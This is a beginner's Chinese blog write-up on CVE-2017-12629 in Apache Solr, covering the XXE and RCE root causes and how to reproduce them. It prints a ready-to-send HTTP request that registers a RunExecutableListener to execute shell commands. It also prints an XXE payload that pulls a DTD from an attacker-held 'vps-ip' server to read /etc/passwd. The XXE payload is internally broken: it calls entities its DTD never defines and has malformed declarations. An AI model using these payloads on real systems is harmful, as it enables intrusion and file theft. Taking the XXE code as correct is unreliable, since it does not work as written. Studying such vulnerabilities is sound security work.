CVE-2017-12629:Apache Solr XXE&&RCE

目录

CVE-2017-12629简介

漏洞原理

漏洞复现

RCE复现

XXE复现


前言:作为初学者学习XXE漏洞时,了解到CVE-2017-12629这个漏洞,出于学习原理的目的进行学习。这个漏洞的原理分析有欠缺之处,感觉还有一些细节理解的不是特别好,之后会随着学习的深入,不断修改进度。如果有不对的地方,求轻喷。

CVE-2017-12629简介

pache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。

原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE)。

漏洞影响版本:Apache Solr before 7.1 with Apache Lucene before 7.1

漏洞原理

XXE漏洞:

在/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java文件,通过查看调用栈中的数据处理流程(IDEA中Debug可查看方法调用顺序),在调用lucene xml解析器时确实没有对DTD和外部实体进行禁用处理,造成了Blind XXE。

 在这里卡断点,解析XML时调用的方法。

 一路追踪,得到所有的调用方法

其中没有对DTD和外部实体的过滤。

RCE漏洞:

依据漏洞作者所披露的漏洞细节来看,RCE需要使用到SolrCloud Collections API,所以RCE只影响Solrcloud分布式系统。

RunExecutableListener类中使用了Runtime.getRuntime().exec()方法,可用于在某些特定事件中执行任意命令

使用了config API传入add-listener命令即可调用RunExecutableListener

触发RCE的事件:通过查看代码,能够触发命令执行的事件有两个:postCommit() 和 newSearcher()

  • 使用postCommit时,需要使用update进行collection更新后命令才会执行,因此需要两次进行请求
  • 而使用newSearcher时可直接执行命令

这一点会在下面的漏洞复现有所体现。

漏洞原理总结概括:

  • 触发XXE:调用lucene xml解析器时确实没有对DTD和外部实体进行禁用处理,造成了Blind XXE
  • 触发RCE:config API传入add-listener命令即可调用RunExecutableListener类中的Runtime.getRuntime().exec(),执行命令

漏洞复现

RCE复现

用postCommit要两步,用newSearcher一步即可,所以推荐用newSearcher的方法简单快捷。

通过newSearcher命令执行。一个数据包即可。构造paylaod:
 

POST /solr/demo/config HTTP/1.1
Host: 
Content-Length: 170
Content-Type: application/json

{"add-listener":{"event":"newSearcher","name":"newSearcher3","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

执行docker-compose exec solr bash进入容器,可见/tmp/success已成功创建

另外一种构造方式参考:Vulhub - Docker-Compose file for vulnerability environment

XXE复现

基于错误回显的XXE利用,就是远程DTD,把信息放在报错信息中返回。

构造1.dtd放在本地

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

构造payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY %aaa SYSTEM"http://vps-ip:port/1.dtd">
    <!ENTITY %bbb SYSTEM"file://etc/passwd">
    %aaa;
    %ccc;
    %ddd;
]>
/solr/demo/select?q=<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY %aaa SYSTEM"http://vps-ip:port/1.dtd">
    <!ENTITY %bbb SYSTEM"file://etc/passwd">
    %aaa;
    %ccc;
    %ddd;
]>&wt=xml&defType=xmlparser

URL编码在线:http://www.jsons.cn/urlencode/

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Dao-道法自然

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值